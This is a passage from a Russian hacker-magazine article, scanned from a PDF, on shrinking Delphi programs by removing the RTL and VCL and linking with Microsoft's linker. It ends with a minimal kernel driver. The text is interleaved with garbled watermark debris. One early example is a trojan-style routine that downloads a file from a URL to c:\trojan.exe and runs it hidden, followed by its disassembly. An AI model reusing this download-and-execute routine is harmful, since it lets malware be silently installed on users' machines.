Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
16
Добавлен:
20.04.2024
Размер:
14.56 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

df-xchan

 

 

 

 

Dождались!df-x chan

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

 

 

 

 

 

 

 

 

 

e

 

 

 

 

 

 

 

 

 

 

 

 

 

в РОССИИ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

c 14 сентября

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

и навсегда

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Все дело в технике

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

НЬЮСЫ

 

 

 

 

 

 

 

w

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

FERRUM

PC_ZONE

ИМПЛАНТ

ВЗЛОМ

СЦЕНА

UNIXOID

КОДИНГ

КРЕАТИФФ

ЮНИТЫ

112

Delphi всемогущий

ТЫ ПИШЕШЬ НА ДЕЛЬФЯХ И ЧУВСТВУЕШЬ СЕБЯ АУТСАЙДЕРОМ? ТЕБЕ НЕЧЕМ ОТВЕТИТЬ В БЕСКОНЕЧНЫХ HOLYWAR'АХ? ТЕПЕРЬ ТЫ ТОЧ- НО БУДЕШЬ ЗНАТЬ: ДЕЛЬФИ СТОИТ ТОГО, ЧТОБЫ ЕГО ЛЮБИТЬ. И НЕ ТОЛЬКО ИЗ-ЗА ПРОСТОТЫ ЭТОГО ЯЗЫКА. ОЧЕНЬ МАЛЕНЬКИЕ И ОЧЕНЬ БЫСТРЫЕ ПРОГРАММЫ НА ДЕЛЬФИ — ЭТО ВОЗМОЖНО! ТЫ РАССКАЖЕШЬ ОБ ЭТОМ ВСЕМ СОМНЕВАЮЩИМСЯ. И С МНЕНИЕМ, ЧТО ДЕЛЬФИ — ЯЗЫК ДЛЯ ЛАМЕРОВ, БУДЕТ ПО-

КОНЧЕНО! | Ms-Rem (Ms-Rem@yandex.ru, ms-rem.narod.ru)

Выжимаем из Delphi все возможное

Многие системные программисты привыкли считать Delphi полным отстоем. Свое мнение они аргументируют тем, что компилятор генерирует слишком медленный и большой код, а средний размер пустой фор-

мы с кнопкой — 400 килобайт. Впро-

На диске лежат полные

чем, иногда никаких аргументов и вов-

исходные коды всех

се не приводится. Когда на форумах

приведенных в статье

сталкиваются поклонники С++ и Delphi,

примеров.

первые обычно кричат о супернаворо-

 

ченном синтаксисе и потрясающих возможностях ООП, при этом утверждая, что в системном программировании все это необходимо, а вторые — о возможностях того же ООП на дельфи, которых нет в С++, и о том, что на этом языке писать проще. Из слов и тех, и других можно заключить, что обе стороны ни про Delphi, ни про C++ ничего толком не знают, и все это — пустая ламерская болтовня.

Эта статья посвящена приемам системного программирования на Delphi. Она написана для тех, кто любит этот язык, хочет добиться максимальной эффективности кода и не боится вложить в свое дело определенный труд. Я покажу, как делать на дельфи то, что многие считают невозможным. Тем, кто занимается кодингом на С++, не составит труда найти целую кучу статей по оптимизации. Если же ты пишешь на Delphi, ты не найдешь на эту тему ничего хорошего. Видимо, все считают, что никакой оптимизации здесь не нужно. Может быть, тебя устраивает 400-килобайтная пустая форма с кнопкой? А, ты думаешь, что это неизбежное зло, и уже давно с ним смирился? Что ж, придется немного расстроить твои нервы и развеять священные заблуждения.

[немного о генерируемом компилятором коде] Для начала проверим утверждение, что компилятор Delphi генерирует много лишнего и неэффективного кода. Для этого напишем функцию, скачивающую и запускающую файл из интернета (такие вещи обычно используют в троянах). Писать будем, естественно, с применением API. Вот что у меня получилось:

procedure DownloadAndExecute(Source: PChar); stdcall; const

DestFile = 'c:\trojan.exe';

begin

UrlDownloadToFile(nil, Source, DestFile, 0, nil); WinExec(DestFile, SW_HIDE);

end;

Этот сорец я вставил в программу, скомпилировал и дизассемблировал в IDA. Вот его откомментированный листинг:

DownloadAndExecute proc near

 

Source = dword ptr 8

 

pushebp

 

mov ebp, esp

 

push0

; LPBINDSTATUSCALLBACK

push0

; DWORD

pushoffset DestFile

; LPCSTR

mov eax, [ebp+Source]

 

pusheax

; LPCSTR

push0

; LPUNKNOWN

call URLDownloadToFileA

 

push0

; uCmdShow

pushoffset DestFile

; lpCmdLine

call WinExec

 

pop ebp

 

retn 4

 

DownloadAndExecute endp

 

DestFile db 'c:\trojan.exe',0

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

t

 

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

 

NOW!

r

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

 

w Click

 

 

 

 

 

 

 

и где же куча лишнего кода, о котором некоторые так любят говорить?

 

w

 

 

 

 

 

 

 

Íó,o

 

.

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

Все просто и красиво, почти то же самое можно написать вручную на ассе-

 

 

 

 

 

 

 

 

 

мблере. Тем более, что на нем некоторые умники иногда такое выдают — любые ошибки компилятора покажутся мелочью :).

Почему же программы, написанные на дельфи, такие большие? Откуда берется лишний код, если компилятор его не генерирует? Сейчас мы разберем этот вопрос подробнее.

[ООП — двигатель прогресса] ООП — весьма модное в настоящее время направление программирования. Его цель — упростить написание программ и сократить сроки их разработки, и с нею ООП прекрасно справляется. Большинство прикладных программистов, пишущих на С++ или Delphi, уже не мыслят своей деятельности без ООП. Их главный принцип — быстрее сдал программу, быстрее получил деньги. В таких условиях о какой бы то ни было оптимизации просто забывают.

Àведь если взглянуть на дело глазами системного программиста, то сразу станет очевиден главный недостаток: ООП — качество генерируемого кода. Допустим, у нас есть класс, наследуемый от другого класса. При создании объекта этого класса компилятор будет вынужден полностью включить в его состав также код родительского класса, поскольку нет возможности определить, какие методы классов использоваться не будут. Если у нас целое дерево наследования классов, как обычно и бывает в реальных программах, то весь его код войдет в программу, и от этого никуда не денешься. Вызов методов класса производится через таблицу, что увеличивает время вызова. А когда метод наследуется от родителя в десятом поколении, то и вызов проходит через десять таблиц, прежде чем достигает обрабатывающего его кода. Получается, что вместе с кучей мертвого кода мы получаем еще низкую эффективность рабочего. Все это хорошо видно на примере библиотеки VCL в дельфи.

Àвот программа, написанная на VB или на VC с применением MFC, отче- го-то занимает гораздо меньше места. Все потому, что великая и ужасная компания Microsoft приложила к этому свою лапу. MFC и runtime-библиоте- ки в VB весят ничуть не меньше, просто они скомпилены в DLL и входят в поставку Windows, а значит, их код не приходится таскать с собой в программах. В защиту Borland можно сказать, что такая возможность присутствует и в Delphi. Нужно просто в настройках проекта поставить галочку Build with runtime packages, тогда программа значительно уменьшится, но потребует наличия соответствующих runtime-библиотек. Естественно, эти библиотеки в поставку винды не входят, но в этом надо винить не Борланд, а монопольную политику мелкософта.

Любители ООП, желающие разрабатывать программы в визуальном режиме, могут использовать KOL. Это попытка сделать что-то типа VCL, но с учетом ее недостатков. Средний размер пустой формы с кнопкой — 35 Кб, что уже лучше, но для серьезных приложений эта библиотека не подходит, так как часто глючит. Да и решение это половинчатое.

Те, кто хочет добиться действительно высокой эффективности кода, должны идти по принципиально другому пути: забыть про ООП и все, что с ним связано, раз и навсегда. Писать программы придется только на чистом API.

[виновник номер два] Создадим в Delphi пустой проект, заведомо не содержащий никакого полезного кода:

program Sample;

begin

end.

После компиляции в Delphi 7 мы получаем экзешник размером в 13,5 Кб. Откуда?! Ведь в программе ничего нет! Ответ на этот вопрос опять поможет дать IDA. Дизассемблируем экзешник и посмотрим, что он содержит. Точка входа в программу будет выглядеть так:

public start

start:

push ebp mov ebp, esp

add esp, 0FFFFFFF0h mov eax, offset ModuleId call _InitExe

; здесь мог бы быть наш код call _HandleFinally

CODE ends

Весь лишний код находится в функциях _InitExe и _HandleFinally. Дело в том, что к каждой Delphi программе неявно подключается код, входящий в состав RTL (Run Time Library). Эта либа нужна для поддержки таких возможностей

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

t

 

 

P

D

 

 

 

 

 

 

 

o

 

 

 

 

 

NOW!

r

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

m

 

w Click

 

 

 

 

 

 

языка, как ООП, работа со строками (string) и специфичные для паскаля функ-

 

 

 

 

 

 

o

 

 

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

ции (AssignFile, ReadLn, WriteLn, etc.). InitExe выполняет инициализацию всего

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

этого добра, а HandleFinally обеспечивает корректное освобождение ресурсов.

 

 

 

 

 

 

 

 

Сделано это, опять же, для упрощения жизни программистам, и примене-

 

 

 

 

 

 

 

 

ние RTL иногда оправданно, так как может не понизить, а повысить эффек-

 

 

 

 

 

 

 

 

тивность кода. Например, в состав RTL входит менеджер кучи, который

 

 

 

 

 

 

 

 

позволяет быстро выделять и освобождать маленькие блоки памяти.

 

 

 

 

 

 

 

 

По своей эффективности он в три раза превосходит системный. В плане

 

 

 

 

 

 

 

 

производительности генерируемого кода работа со строками реализована

 

 

 

 

 

 

 

 

в RTL тоже довольно неплохо, правда все равно, в увеличении размера

 

 

 

 

 

 

 

 

файла, RTL — виновник номер два после ООП.

 

 

 

 

 

 

 

 

 

 

[уменьшаем размер] Если минимальный размер в 13,5 Кб тебя не уст-

 

 

 

 

 

 

 

 

раивает, то будем убирать Delphi RTL. Весь код либы находится в двух фай-

 

 

 

 

 

 

 

 

лах: System.pas и SysInit.pas. К сожалению, компилятор подключает их к

 

 

 

 

 

 

 

 

программе в любом случае, поэтому единственное, что можно сделать, —

 

 

 

 

 

 

 

 

удалить из этих модулей весь код, без которого программа может рабо-

 

 

 

 

 

 

 

 

тать, и перекомпилить модули, а полученные DCU-файлы положить в пап-

 

 

 

 

 

 

 

 

ку с программой.

 

 

 

 

 

 

 

 

 

 

 

Файл System.pas содержит основной код RTL и поддержки классов, но все это

 

 

 

 

 

 

 

 

мы выбросим. Минимальное содержимое этого файла должно быть таким:

 

 

 

 

 

 

 

 

 

 

unit System;

 

 

 

 

 

 

 

 

 

 

 

interface

 

 

 

 

 

 

 

 

 

 

 

procedure _HandleFinally;

 

 

 

 

 

 

 

 

 

 

type

 

 

 

 

 

 

 

 

 

 

 

TGUID = record

 

 

 

 

 

 

 

 

 

 

 

D1: LongWord;

 

 

 

 

 

 

 

 

 

 

 

D2: Word;

 

 

 

 

 

 

 

 

 

 

 

D3: Word;

 

 

 

 

 

 

 

 

 

 

 

D4: array [0..7] of Byte;

 

 

 

 

 

 

 

 

 

 

end;

 

 

 

 

 

 

 

 

 

 

 

PInitContext = ^TInitContext;

 

 

 

 

 

 

 

 

 

 

TInitContext = record

 

 

 

 

 

 

 

 

 

 

OuterContext:

PInitContext;

 

 

 

 

 

 

 

 

 

 

ExcFrame:

Pointer;

 

 

 

 

 

 

 

 

 

 

InitTable:

pointer;

 

 

 

 

 

 

 

 

 

 

InitCount:

Integer;

 

 

 

 

 

 

 

 

 

 

Module:

pointer;

 

 

 

 

 

 

 

 

 

 

DLLSaveEBP:

Pointer;

 

 

 

 

 

 

 

 

 

 

DLLSaveEBX:

Pointer;

 

 

 

 

 

 

 

 

 

 

DLLSaveESI:

Pointer;

 

 

 

 

 

 

 

 

 

 

DLLSaveEDI:

Pointer;

 

 

 

 

 

 

 

 

 

 

ExitProcessTLS:

procedure;

 

 

 

 

 

 

 

 

 

 

DLLInitState:

Byte;

 

 

 

 

 

 

 

 

 

 

end;

 

 

 

 

 

 

 

 

 

 

 

implementation

 

 

 

 

 

 

 

 

 

 

 

procedure _HandleFinally;

 

 

 

 

]

 

 

 

 

 

 

 

 

113

 

 

 

 

asm

 

 

 

 

 

 

 

 

 

end;

 

 

 

 

 

КОДИНГ

 

 

 

 

end.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

[XÀÊÅÐ 08 [80] 05 >

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Описания структуры TGUID компилятор требует в любом случае и без нее компилировать модуль отказывается. TInitContext понадобится линкеру, если мы будем собирать DLL. HandleFinally — процедура освобождения ресурсов RTL, компилятору она тоже необходима, хотя может быть пустой.

Теперь урежем файл SysInit.pas, который содержит код инициализации и завершения работы RTL и управляет поддержкой пакетов. Нам хватит следующего:

в один файл. Это весьма неудобно, поэтому лучше воспользоваться директивой препроцессора $INCLUDE и разнести код на несколько inc-файлов. Тут может встретиться еще одна проблема — повторяющийся код (когда несколько inc-файлов подключают один и тот же inc), компилятор в таких случаях компилировать откажется. Выйти из положения можно, воспользовавшись директивами условной компиляции, после чего любой inc-файл будет иметь вид:

КОДИНГ 114]

[XÀÊÅÐ 08 [80] 05 >

unit SysInit;

{$ifndef win32api}

interface

{$define win32api}

 

procedure _InitExe;

// здесь идет наш код

procedure _halt0;

 

procedure _InitLib(Context: PInitContext);

{$endif}

var

Таким образом, можно писать без RTL достаточно сложные программы и

ModuleIsLib: Boolean;

забыть о неудобствах.

TlsIndex: Integer = -1;

[можно еще меньше!] Наверняка минимальный размер экзешника в 3,5

TlsLast: Byte;

Кб удовлетворит не всех. Что ж, если постараться, можно ужать его еще в

const

несколько раз. Для этого нужно отказаться от удобств работы с борландо-

вским линкером и собирать исполнимые файлы линкером от Microsoft. К со-

PtrToNil: Pointer = nil;

жалению, здесь нас ждет одна загвоздка. Мелкософтовский линкер исполь-

implementation

зует в качестве основного рабочего формата COFF, но может понимать и

интеловский OMF. Однако программисты Борланда (видать, нарочно) в вер-

procedure _InitLib(Context: PInitContext);

сиях Delphi выше третьей изменили генерируемый формат obj-файлов так,

что теперь он несовместим с Intel OMF. То есть теперь существуют два ви-

asm

да OMF: Intel OMF и Borland OMF. Программы, способной конвертировать

end;

объектные файлы из формата Borland OMF в COFF или Intel OMF, я не на-

procedure _InitExe;

шел. Поэтому придется использовать компилятор от Delphi 3, который гене-

рирует стандартный объектный файл Intel OMF. Импорт используемых API

asm

нам тоже придется описывать вручную, причем достаточно необычным спо-

end;

собом. Для начала возьмем библиотеку импорта user32.lib из состава Visual

procedure _halt0;

C++ и откроем ее в HEX-редакторе. Имена функций в ней имеют вид

"_MessageBoxA@16", где после @ идет размер передаваемых параметров.

asm

Следовательно, объявлять функции мы будем таким образом:

end;

function MessageBoxA(hWnd: cardinal; lpText, lpCaption: PChar; uType:

end.

Cardinal): Integer; stdcall; external 'user32.dll' name '_MessageBoxA@16';

InitExe — процедура инициализации RTL для EXE-файлов, InitLib — для DLL, halt0 — завершение работы программы. Все остальные лишние структуры и переменные, которые пришлось оставить, необходимы компилятору. Они не будут включаться в выходной файл и никак не повлияют на его размер.

Теперь положим эти два файла в папку с проектом и скомпилируем их из командной строки:

dcc32.exe -Q system.pas sysinit.pas -M -Y -Z -$D- -O

Избавившись от RTL, мы получили экзешник размером в 3,5 Кб. Борландовский линкер создает в исполняемом файле шесть секций, они выравниваются по 512 байт, к ним плюсуется PE-заголовок, что и дает эти 3,5 Кб.

Но вдобавок к малому размеру, мы получаем и определенные затруднения, так как теперь не сможем использовать заголовочные файлы на WinAPI, идущие с Delphi. Вместо них придется писать свои. Это нетрудно, поскольку описания используемых API можно брать из борландовских хедеров и переносить в свои по мере необходимости.

Если в составе проекта есть несколько PAS-файлов, линкер для выравнивания кода вставит в него пустые участки, и размеры опять увеличатся. Чтобы этого избежать, нужно всю программу, включая определения API, помещать

Попробуем теперь написать HelloWorld как можно меньшего размера. Для этого создаем проект такого типа:

unit HelloWorld;

interface

Procedure Start;

implementation

function MessageBoxA(hWnd: cardinal; lpText, lpCaption: PChar; uType: Cardinal): Integer; stdcall; external 'user32.dll' name '_MessageBoxA@16';

Procedure Start; begin

MessageBoxA(0, 'Hello world!', nil, 0);

end;

end.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

t

 

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

 

NOW!

r

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

 

w Click

 

 

 

 

 

 

 

модуля UNIT нужен для того, чтобы компилятор генерировал в объект-

 

w

 

 

 

 

 

 

 

Òèïo

 

.

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

ном файле символьные имена объявленных процедур. В нашем случае это

 

 

 

 

 

 

 

 

 

будет процедура Start — точка входа в программу. Теперь компилируем проект следующей строкой:

dcc32.exe -JP -$A-,B-,C-,D-,G-,H-,I-,J-,L-,M-,O+,P-,Q-,R-,T-,U-,V-,W+,X+,Y- HelloWorld.pas

Новый файл HelloWorld.obj открываем в HEX-редакторе и смотрим, во что превратилась наша точка входа. У меня получилось Start$qqrv. Это имя нужно указать как точку входа при сборке исполнимого файла. И наконец, выполним сборку:

link.exe /ALIGN:32 /FORCE:UNRESOLVED /SUBSYSTEM:WINDOWS /ENTRY:Start$qqrv HelloWorld.obj user32.lib /out:Hello.exe

В результате мы получаем работающий HelloWorld размером в 832 байта! Я думаю, что этот размер удовлетворит любого. Попробуем теперь дизассемблировать этот файл в IDA и поискать лишний код:

;Attributes: bp-based frame

;char Text[]

Text db 'Hello world!',0

public start

 

start proc near

 

push 0

; uType

push 0

; lpCaption

push offset Text ; lpText

push 0

; hWnd

call MessageBoxA retn

start endp

Ни байта лишнего кода! Покажи этот пример всем, кто любит говорить о большом размере программ, написанных на дельфи, и понаблюдай за их выражением лица — это прикольно :). Самые упорные промычат: «А... Э...

Все равно дерьмо!», но уже никто ничего не скажет по существу. А самые продвинутые спорщики приведут последний аргумент — на Delphi нельзя написать драйвер режима ядра для Windows NT. Ничего... сейчас и они присоединятся к проигравшим :).

[пишем драйвер на Delphi] О том, как по нашей методике сделать невозможное — написать на Delphi драйвер режима ядра, даже есть статья на RSDN, и всем интересующимся я рекомендую ее прочитать. Здесь же я приведу пример простейшего драйвера и содержимое make.bat для его сборки. Файл Driver.pas:

unit Driver;

interface

function DriverEntry(DriverObject, RegistryPath: pointer): integer; stdcall;

implementation

function DbgPrint(Str: PChar): cardinal; cdecl; external 'ntoskrnl.exe' name '_DbgPrint';

function DriverEntry(DriverObject, RegistryPath: pointer): integer; begin

DbgPrint('Hello World!'); Result := -1;

end;

end.

Ôàéë make.bat:

dcc32.exe -JP -$A-,B-,C-,D-,G-,H-,I-,J-,L-,M-,O+,P-,Q-,R-,T-,U-,V- ,W+,X+,Y- Driver.pas

link.exe /DRIVER /ALIGN:32 /BASE:0x10000 /SUBSYSTEM:NATIVE /FORCE:UNRESOLVED /ENTRY:DriverEntry$qqspvt1 Driver.obj ntoskrnl.lib /out:Driver.sys

Для компиляции нам понадобится файл ntoskrnl.lib из DDK. Мы получим драйвер размером в килобайт, который выводит сообщение «Hello World» в отладочную консоль и возвращает ошибку, а потому не остается в памя-

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

t

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

NOW!

r

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

 

ти и не требует определения функции DriverUnload. Для запуска драйвера

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

используй KmdManager от Four-F. Увидеть результаты его работы можно в

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

софтайсе или DbgView.

 

 

 

 

 

 

 

 

 

 

 

Главная проблема, из-за которой на Delphi нельзя писать полноцен-

 

 

 

 

 

 

 

 

 

ные драйвера, — отсутствие DDK. Для написания драйверов нужны

 

 

 

 

 

 

 

 

 

заголовочные файлы на API-ядра и описания большого количества

 

 

 

 

 

 

 

 

 

системных структур. Все это богатство есть только для С (от

 

 

 

 

 

 

 

 

 

Microsoft) и для MASM32 (от Four-F). Есть слух, что DDK для паска-

 

 

 

 

 

 

 

 

 

ля уже существует, но автор продает его за деньги и сильно этот

 

 

 

 

 

 

 

 

 

факт не афиширует. Думаю, когда-нибудь все-таки найдутся энту-

 

 

 

 

 

 

 

 

 

зиасты, которые перепишут DDK на паскаль и выложат для всеоб-

 

 

 

 

 

 

 

 

 

щего использования.

 

 

 

 

 

 

 

 

 

 

 

Другой проблемой является то, что большинство примеров, связан-

 

 

 

 

 

 

 

 

 

ных с системным программированием, написаны на си, поэтому на ка-

 

 

 

 

 

 

 

 

 

ком бы языке ты ни писал свои программы, си знать придется. Это,

 

 

 

 

 

 

 

 

 

конечно, не означает, что придется изучать С++ в полном его объеме.

 

 

 

 

 

 

 

 

 

Для понимания системных программ хватит базовых знаний синтакси-

 

 

 

 

 

 

 

 

 

са, все остальное же используется только в прикладных программах,

 

 

 

 

 

 

 

 

 

которые нас совершенно не интересуют.

 

 

 

 

 

 

 

 

 

 

 

[переносимость кода] При программировании на стандартных

 

 

 

 

 

 

 

 

 

Delphi компонентах, кроме кучи недостатков, мы получаем одно

 

 

 

 

 

 

 

 

 

достоинство — некоторую переносимость кода. Если программа ис-

 

 

 

 

 

 

 

 

 

пользует только возможности языка, но не возможности системы,

 

 

 

 

 

 

 

 

 

то она будет легко компилироваться в Kilix и работать в Linux. Вся

 

 

 

 

 

 

 

 

 

проблема в том, что без использования возможностей системы мы

 

 

 

 

 

 

 

 

 

получим настоящее глюкалово, тяжелую и неэффективную прог-

 

 

 

 

 

 

 

 

 

рамму. Тем не менее, при написании серьезных программ по выше-

 

 

 

 

 

 

 

 

 

описанным методикам, все-таки хочется иметь некоторую незави-

 

 

 

 

 

 

 

 

 

